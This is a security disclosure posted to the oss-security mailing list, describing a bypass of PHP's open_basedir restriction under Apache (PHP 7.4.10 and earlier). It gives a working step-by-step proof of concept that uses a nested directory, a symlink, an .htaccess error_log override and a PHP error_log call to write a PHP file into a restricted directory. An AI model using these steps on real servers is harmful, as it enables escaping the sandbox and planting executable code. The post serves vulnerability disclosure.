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Date: Thu, 17 Sep 2020 02:41:22 +0000
From: Havijoori <havijoori@...tonmail.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Apache + PHP <= 7.4.10 open_basedir bypass
Introduction
============
open_basedir security feature can be bypassed when Apache web server runs PHP scripts.
Proof of Concept
================
1. Set open_basedir as a security feature in php.ini file :
open_basedir = /var/www/html:/tmp
2. Make a directory with the name of your web server's home directory inside your web server's home directory :
mkdir -p /var/www/html/var/www/html
3. Make a symlink to a restricted writable directory inside this new directory :
ln -s /home/havijoori/www/uploads /var/www/html/var/www/html/test
4. Make a .htaccess file in your web server's root directory to set php value :
php_value error_log "var/www/html/test/hacked.php"
5. Make a PHP script, "bypass.php" in your web server's root directory to exploit the vulnerability :
<?php error_log("<?php phpinfo(); ?>"); ?>
6. Call the script :
curl http://webserver/bypass.php
7. After successful exploitation, our file "hacked.php" should be created in the restricted directory :
ls /home/havijoori/www/uploads/hacked.php
Tested with PHP 5.2.5 and 7.x.
Similar to CVE-2007-3378.
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